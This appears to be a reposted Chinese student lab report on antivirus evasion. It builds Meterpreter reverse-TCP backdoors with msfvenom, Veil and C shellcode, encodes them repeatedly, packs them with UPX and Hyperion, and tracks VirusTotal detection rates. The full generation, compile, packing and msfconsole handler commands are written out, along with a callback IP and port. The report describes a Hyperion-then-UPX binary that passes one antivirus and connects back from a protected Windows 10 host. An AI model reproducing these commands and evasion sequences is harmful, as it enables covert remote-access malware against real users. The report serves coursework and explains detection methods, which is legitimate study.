当前位置: 首页 > news >正文

20232311 2025-2026-1 《网络与系统攻防技术》实验三实验报告

免杀原理与实践

实验内容

1.正确使用msf编码器,通过msfvenom生成如jar或者exe等多种类型的其他文件和它们的编码多次版本
2.下载veil学习它的使用,并尝试使用它生成恶意代码
3.使用C+shellcode编程生成恶意文件
4.尝试upx压缩壳以及hyp加密壳,组合应用各种技术实现恶意代码免杀
5.在杀软开启时,运用免杀技术使得恶意代码可以在另一台主机上运行回连至本机

实验过程

一、免杀效果的测试基准

  • 在虚拟机中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.181.129 PORT=2311 -f exe > met20232311.exe用msfvenom生成一个Windows可执行payload的命令,指定了Meterpreter的reverse_tcp负载,将尝试反向连接回指定的主机与端口,输出为一个名为met20232311.exe的可执行文件
    屏幕截图 2025-10-20 203441
  • 将该文件放入virustotal进行评价,观察检出率为59/72,以这个比例作为参照,查看后续的免杀技术效果
    屏幕截图 2025-10-20 203722

二、过msfvenom生成如jar或者exe等多种类型的其他文件和它们的编码多次版本

1.生成.exe文件和它的编码多次版本

  • 利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.181.129 LPORT=2311 -f exe > met-encoded20232311.exe使用msfvenom生成一个经过shikata_ga_nai编码、排除了空字节的Windows可执Meterpreter反向TCP载荷,输出到met-encoded20232311.exe文件
    屏幕截图 2025-10-20 203824
    可以观察到检出率为59/72,基本没变化,效果不好
    屏幕截图 2025-10-20 204019
  • 单次编码效果不好,再利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.181.129 LPORT=2311-f exe > met-10encoded20232311.exe进行多次编码,其中-i 10表示编码10次
    屏幕截图 2025-10-20 204743
    可以观察到文案金检出率为58/72,仍然与基准类似,,免杀效果不好
    屏幕截图 2025-10-20 204854
    说明上述方法几乎没有起到免杀的效果

2.生成.jar文件和它的编码多次版本

  • 使用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.181.129 LPORT=2311x>metjar20232311.jar用msfvenom生成一个针对Java平台的Meterpreter反向TCP载荷,配置回连地址与端口,并把生成的JAR二进制写入metjar20222408.jar
    屏幕截图 2025-10-20 204938
    再使用命令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.181.1129 LPORT=2311x>met-encoded-jar20232311.jar对载荷应用shikata_ga_nai编码并重复编码10次,最后把输出写入met-encoded-jar20222408.jar
    屏幕截图 2025-10-20 205020
  • 两种方法得出的检出率均为35/64,可以得出对比.exe文件,.jar文件本身更不易被检测出来,但是进不进行编码效果差别不大
    屏幕截图 2025-10-20 205114
    屏幕截图 2025-10-20 205149

3.生成.php文件和它的编码多次版本

  • 使用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.181.129 LPORT=2311 x> metphp_20232311.php用msfvenom生成一个针对PHP环境的Meterpreter反向TCP载荷,配置回连的主机与端口,并把生成的PHP文件写入metphp_20222408.php,接着使用指令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.181.129 LPORT=2311x> met_encoded10_php_20232311.php测试编码10次的免杀效果
    屏幕截图 2025-10-20 205302
  • 观察不编码和编码十次的检出率分别是25/62和8/62,说明不仅php文件本身就更不易被识别出来而且对其编码之后免杀效果更好
    屏幕截图 2025-10-20 205333
    屏幕截图 2025-10-20 205405

三、尝试使用veil免杀工具

1.下载veil工具

  • 保证内存空间足够的前提下先使用指令sudo apt -y install veil,用apt下载veil
    屏幕截图 2025-10-20 210139
  • 利用veil自带的shell脚本配置好环境usr/share/veil/config/setup.sh --force --silent
    屏幕截图 2025-10-20 210332

2.使用veil工具

  • 下载完成查看veil有如下界面,说明系统中加载了2个工具,分别是Evasion(用于生成规避杀毒软件的恶意payload)和Ordnance(用于生成各种攻击载荷)。含有的可用命令包括exit(完全退出Veil)、info(查看特定工具的信息)、list(列出可用工具)、options(显示Veil配置)、update(更新Veil)、use(使用特定工具)。这里选用use 1进行试验
    屏幕截图 2025-10-20 210931
    屏幕截图 2025-10-20 210957
  • 根据提示输入list查看所有可用载荷
    屏幕截图 2025-10-20 211015
  • 这里可以查到c/meterpreter/rev_tcp.py是第7个选项,它可以生成基于C语言的reverse_tcp类型Meterpreter payload,所以使用use 7
    屏幕截图 2025-10-20 211032
  • 进行配置,输入以下信息
set LHOST 192.168.181.129(反弹链接ip,虚拟机的ip)
set LPORT 2311(设置端口)
generate(开始生成)
  • 接下来会提示生成的具体内容和生成后文件所在的位置
    屏幕截图 2025-10-20 211340
  • 在所示目录下可以找到生成完成的文件payload20232311.exe
    屏幕截图 2025-10-20 211451
  • 测试文件的检出率为36/72,有一定的免杀效果
    屏幕截图 2025-10-20 224238

四、使用C + shellcode编程

  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.181.129 LPORT=2311 -f c用msfvenom生成一个针对Windows的meterpreter反向TCP载荷,指定回连监听地址为192.168.181.129与端口2311,并以C源代码格式输出(-f c)
    屏幕截图 2025-10-20 224511
  • 用生成的shellcode编写一个测试用的C文件并使用指令i686-w64-mingw32-g++ shellcode_20232311.c -o shellcode_20232311.exe将C源文件shellcode_20232311.c编译链接成Windows可执行文件shellcode_20232311.exe
    屏幕截图 2025-10-20 225534
    屏幕截图 2025-10-20 225522
  • 测试文件的检出率为36/72,有一定的免杀效果
    屏幕截图 2025-10-20 225417

五、尝试加壳工具

1.使用upx压缩壳

  • 使用指令upx shellcode_20232311.exe -o shellcode_upx_20232311.exe,给上一个步骤生成的shellcode_20232311.exe进行压缩打包
    屏幕截图 2025-10-20 225526
  • 检测文件的检出率为39/72,居然上升了,说明压缩壳特征已经被广泛记录
    屏幕截图 2025-10-20 225817

2.使用hyp加密壳

  • 使用指令cp shellcode_20232311.exe /usr/share/windows-resources/hyperion/将待加密文件放到工作目录下,
    cd /usr/share/windows-resources/hyperion进入工作目录,
    wine hyperion.exe -v shellcode_20232311.exe shellcode_hyp_20232311.exe用wine运行Windows程序hyperion.exe,以verbose模式对shellcode_20232311.exe进行加密处理并输出为shellcode_hyp_20232311.exe
    屏幕截图 2025-10-26 163801
    屏幕截图 2025-10-21 000110
    屏幕截图 2025-10-21 000138
  • 对文件进行检测,检出率为52/72,依旧是反而上升,说明这个壳也被广泛记录。Hyperion加密壳免杀效果不如UPX,推测是因为其加密逻辑和壳代码特征较固定,易被杀软收录识别;而 UPX通过压缩破坏原始代码静态特征,且压缩算法多样、本身属中性技术,杀软更难直接判定恶意性,因此免杀表现更优
    屏幕截图 2025-10-21 000408

六、综合应用技术实现恶意代码免杀

  • 使用msfvenom工具来生成一个攻击载荷的示例。该攻击载荷被x86/shikata_ga_nai编码了10次。msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.181.129 LPORT=2311 -f c >20232311zfz.c,并使用nano在生成的文件中加入main函数如下
    屏幕截图 2025-10-21 133649
  • 使用MinGW-w64编译该源文件i686-w64-mingw32-g++ 20232311zfz.c -o 20232311zfz.exe
    image
  • 使用hyperion加一层加密壳
    屏幕截图 2025-10-21 140241
  • 使用upx加一层压缩壳
    屏幕截图 2025-10-21 140253
    屏幕截图 2025-10-21 140306
  • 对上面两步进行调换顺序处理即先压缩再加密,生成另一份文件
    • 先upx压缩
      屏幕截图 2025-10-21 134145
    • 再hyp加密
      屏幕截图 2025-10-21 134152
      屏幕截图 2025-10-21 134202
      屏幕截图 2025-10-21 134219
  • 将最终生成的两份可执行文件放入主机,用金山毒霸进行扫描,软件没有发现,使用的毒霸版本如下
    image
    屏幕截图 2025-10-21 141216
  • 使用火绒安全就可以查出来,但是查出20232311zfz_hyp_upx.exe的时间显著久于查出20232311zfz_upx_hyp.exe的时间
    屏幕截图 2025-10-26 172631

七、在另一台电脑实测回连

  • 尝试对上一步中得到的较难检出的20232311zfz_hyp_upx.exe进行回连检测,在kali虚拟机中输入msfconsole打开msf的控制台,输入以下这些信息。
use exploit/multi/handler(设置监听处理器)
set payload windows/meterpreter/reverse_tcp(设置载荷类型)
set LHOST 192.168.181.129(设置为kali的ip地址)
set LPORT 2311(设置端口)
exploit(启动监听服务)

在虚拟机windows10上保持杀软开启运行生成的可执行文件,可以看到成功回连成功。
屏幕截图 2025-10-21 140414
屏幕截图 2025-10-21 140457

  • 但是这个后门运行一次之后似乎就被记录,再次运行就会被检出并被删除

问题及解决方案

问题1

  • 问题1:下载veil时出现如下报错提示无法定位
    屏幕截图 2025-10-20 205557
  • 问题1解决方案:先更新软件包列表(确保源索引最新),接着安装veil依赖并添加专用源sudo apt install -y git curl
    屏幕截图 2025-10-20 210229

问题2

  • 问题2:测试回连的时候发现在windows10虚拟机下无法运行后门程序出现如下报错
    屏幕截图 2025-10-21 092255
  • 问题2解决方案:将主机的该文件复制进虚拟机
    image

问题3

  • 问题3:其实一开始我是先尝试进行先压缩再加密的,但是得到的文件一直不能运行。于是进行尝试,发现只进行压缩和只进行加密的文件都可以运行
    屏幕截图 2025-10-21 093701
    屏幕截图 2025-10-21 135020
  • 问题3解决方案:发现好像有点解决不出来,于是尝试先加密再压缩,发现可以运行并回连,结果如第六部分。询问ai得到答复:这是因为UPX是压缩加壳工具,主要是压缩程序代码和数据段,对程序原有结构改动较小,加壳后程序通常能正常运行。而Hyperion是加密加壳工具,会修改程序的入口点、重定位表等关键结构。如果先UPX再Hyperion,UPX压缩后的结构可能与Hyperion的加密结构不兼容,导致Hyperion无法正确识别程序信息,运行时出错;但如果先 Hyperion再UPX,UPX只是对“Hyperion外壳+加密代码”整体进行压缩,不需要深入识别内部结构,所以程序能正常运行。

问题回答

1.杀软是如何检测出恶意代码的?

  • 总体上,现代安全产品通过多层检测来识别恶意程序,主要手段有:
    • 签名/特征匹配(静态):对比文件字节序列、哈希、已知恶意代码片段或“YARA/规则”库;对已知样本检出率高且速度快。
    • 启发式与规则(静态):根据代码结构、导入函数、PE/格式异常、可疑字符串或其它静态特征打分判断可疑度。
    • 行为检测/动态分析:在沙箱或实时监控中观察程序行为(如修改注册表、启动网络回连、进程注入、创建持久化机制等),基于行为模型判定恶意性。
    • 机器学习/统计模型:把大量文件的静态与动态特征喂给模型,识别未知但类似的恶意样本(侧重模式而非精确签名)。
    • 信誉/云查验:上传文件元数据或样本到云服务比对信誉、传播范围、提交历史等;结合多引擎结果做综合评分。
    • 沙箱回放与深度取证:对疑似样本做深入执行追踪、API调用链分析、网络流量抓取等,辅助人工或自动决策。

2.免杀是做什么?

  • 通过改变样本的外观或行为,使之避开签名、混淆行为特征或延缓被监测到的时间

3.免杀的基本方法有哪些?

  • 代码混淆/加密:将可执行代码或脚本通过混淆、加密或自解密包装,改变静态字节特征,增加分析难度。
  • 打包/加壳:使用压缩器或壳程序把原始可执行文件封装起来,运行时解压/解密;这会改变文件结构,影响静态检测。
  • 多态/变形:每次生成的二进制在字节级或代码结构上都不相同,避免基于固定签名的检测。
  • 使用“合法”载体或脚本语言:通过宏、脚本、JAR、PHP等较少被严格静态扫描的载体承载恶意逻辑,或利用常见工具/脚本来隐藏行为。
  • 代码签名/伪装与社会工程学:伪造或滥用合法签名、修改图标/文件名或采用可信外观降低用户怀疑,从而绕过部分基于用户交互的防护。

学习感悟、思考

  • 本次实验让我对“免杀”这一概念有了更直观的认识。过去在书本上看到的只是原理性的描述,而通过亲自使用msfvenom、Veil、UPX、Hyperion等工具,我真正体会到免杀不仅仅是“让病毒不被查到”,而是涉及编码、加壳、混淆、文件类型变化等一系列技术手段的综合运用。实验中我尝试了多次编码、跨语言生成载荷、再到使用压缩壳与加密壳组合处理,每一步结果都不完全相同,这让我意识到免杀技术并非“堆叠越多越好”,而是要找到合适的顺序与方式。虽然某些方法的检出率下降不明显,但整个过程让我更加理解杀毒软件的检测逻辑和静态、动态分析的区别,也学会了如何更系统地验证实验效果。
  • 此外,这次实验也让我更加理解到攻防对抗是一种持续演变的过程。通过多次生成与测试不同类型的载荷,我发现所谓的“免杀”并不是一劳永逸的结果,而是与杀毒引擎的更新、特征码识别以及行为检测机制息息相关。某些在本地环境下能正常运行的样本,在上传到VirusTotal后却被多个引擎识别,这种差异让我意识到实验结果必须具体问题具体分析,不能只看“成功率”。在不断尝试的过程中,我也逐渐掌握了如何分析失败原因、调整参数与结构,让实验更具针对性和逻辑性。总体来说,这次实践让我从“照搬命令”转向“理解原理”,不仅提高了动手能力,也培养了更谨慎、系统的实验思维。
http://www.hskmm.com/?act=detail&tid=39517

相关文章:

  • 2025年餐桌石材品牌、口碑好的餐桌石材产品、靠谱的餐桌石材品牌、评价高的餐桌石材厂家、餐桌石材品牌推荐权威排名与解析
  • 2025年市面上餐桌石材品牌、行业内餐桌石材制造厂、口碑好的餐桌石材产品、餐桌石材品牌推荐、2025年餐桌石材品牌综合评测
  • 2025年市面上餐桌石材品牌、国内餐桌石材公司、口碑好的餐桌石材产品、2025年餐桌石材品牌、餐桌石材品牌推荐权威榜单
  • 2025年市面上餐桌石材品牌、行业内餐桌石材制造厂、口碑好的餐桌石材产品、餐桌石材品牌推荐、2025年餐桌石材产品深度解析
  • 用观察优化枚举
  • 5.DSP学习记录之外部中断 - 教程
  • 2025年环评公司权威推荐榜:环评手续办理,环评报告编制,环评验收服务专业厂家深度解析与口碑之选
  • Godot 解包
  • 2025年自动提升机厂家权威推荐榜:专业定制与高效安全解决方案,工业提升设备优质供应商精选
  • frida hook android
  • frida hook windows
  • 2025年饮料包装设备缠膜机厂家推荐排行榜:全自动缠膜机、饮料包装机、热收缩包装机、流水线缠膜设备源头厂家精选
  • Python图表库Matplotlib 组成部分介绍
  • so文件找不到却可以使用的解决
  • 继承与多态动手动脑 - 20243867孙堃2405
  • 2025年自动上料机厂家权威推荐榜:螺旋上料机、真空上料机、粉末上料机、管链输送机全系列选购指南
  • 计数题合集
  • 太突然!湘潭大学计算机学院刘昊霖教授不幸逝世,年仅37岁。
  • pyarmor解密
  • pyd逆向处理
  • 反编译解包微信小程序
  • 浅谈C++中的作用域
  • 2025年摩托车厂家权威推荐榜:覆盖街车、跑车、巡航车及越野车型的全方位选购指南与实力解析
  • 解包魔改pyinstaller
  • 2025年锡条厂家推荐排行榜,高温抗氧化锡条,焊接专用锡条,电子行业锡条,工业级锡条公司精选
  • 类和对象project3
  • 2025年透声膜厂家推荐排行榜,防水透声膜,防水透气透声膜,手表透气透声膜,耳机透气透声膜,智能手环透声膜公司推荐
  • 2025年冠晶石厂家推荐排行榜,外墙冠晶石,内墙冠晶石,防霉冠晶石,水包水冠晶石,水包砂冠晶石,耐污冠晶石,自洁冠晶石公司推荐
  • 安装配置 Claude Code Router 备忘录
  • 2025年包装机厂家权威推荐榜单:全自动包装机,真空包装机,食品包装机,立式包装机源头厂家综合实力解析